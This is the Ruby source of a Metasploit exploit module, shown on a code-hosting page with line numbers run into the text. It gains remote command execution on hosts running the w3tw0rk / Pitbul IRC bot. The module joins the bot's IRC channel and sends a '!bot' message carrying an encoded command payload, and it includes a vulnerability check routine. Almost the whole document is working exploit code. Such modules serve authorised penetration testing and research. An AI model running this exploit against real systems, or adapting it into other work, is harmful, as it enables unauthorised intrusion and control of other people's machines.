Path: blob/master/modules/exploits/multi/misc/w3tw0rk_exec.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'w3tw0rk / Pitbul IRC Bot Remote Code Execution',15'Description' => %q{16This module allows remote command execution on the w3tw0rk / Pitbul IRC Bot.17},18'Author' => [19'Jay Turla'20],21'License' => MSF_LICENSE,22'References' => [23[ 'OSVDB', '120384' ],24[ 'EDB', '36652' ]25],26'Platform' => %w{unix win},27'Arch' => ARCH_CMD,28'Payload' => {29'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf30'DisableNops' => true,31'Compat' =>32{33'PayloadType' => 'cmd'34}35},36'Targets' => [37[ 'w3tw0rk', {} ]38],39'Privileged' => false,40'DisclosureDate' => '2015-06-04',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52Opt::RPORT(6667),53OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),54OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),55OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])56]57)58end5960def post_auth?61true62end6364def check65connect6667res = register(sock)68if res =~ /463/ || res =~ /464/69vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")70return Exploit::CheckCode::Unknown71end7273res = join(sock)74if !res =~ /353/ && !res =~ /366/75vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")76return Exploit::CheckCode::Unknown77end7879quit(sock)80disconnect8182if res =~ /auth/ && res =~ /logged in/83Exploit::CheckCode::Vulnerable84else85Exploit::CheckCode::Safe86end87end8889def send_msg(sock, data)90sock.put(data)91data = ""92begin93read_data = sock.get_once(-1, 1)94while !read_data.nil?95data << read_data96read_data = sock.get_once(-1, 1)97end98rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e99elog(e)100end101102data103end104105def register(sock)106msg = ""107108if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?109msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"110end111112if datastore['NICK'].length > 9113nick = rand_text_alpha(9)114print_error("The nick is longer than 9 characters, using #{nick}")115else116nick = datastore['NICK']117end118119msg << "NICK #{nick}\r\n"120msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"121122send_msg(sock, msg)123end124125def join(sock)126join_msg = "JOIN #{datastore['CHANNEL']}\r\n"127send_msg(sock, join_msg)128end129130def w3tw0rk_command(sock)131encoded = payload.encoded132command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n"133send_msg(sock, command_msg)134end135136def quit(sock)137quit_msg = "QUIT :bye bye\r\n"138sock.put(quit_msg)139end140141def exploit142connect143144print_status("#{rhost}:#{rport} - Registering with the IRC Server...")145res = register(sock)146if res =~ /463/ || res =~ /464/147print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")148return149end150151print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")152res = join(sock)153if !res =~ /353/ && !res =~ /366/154print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")155return156end157158print_status("#{rhost}:#{rport} - Exploiting the IRC bot...")159w3tw0rk_command(sock)160161quit(sock)162disconnect163end164end165166167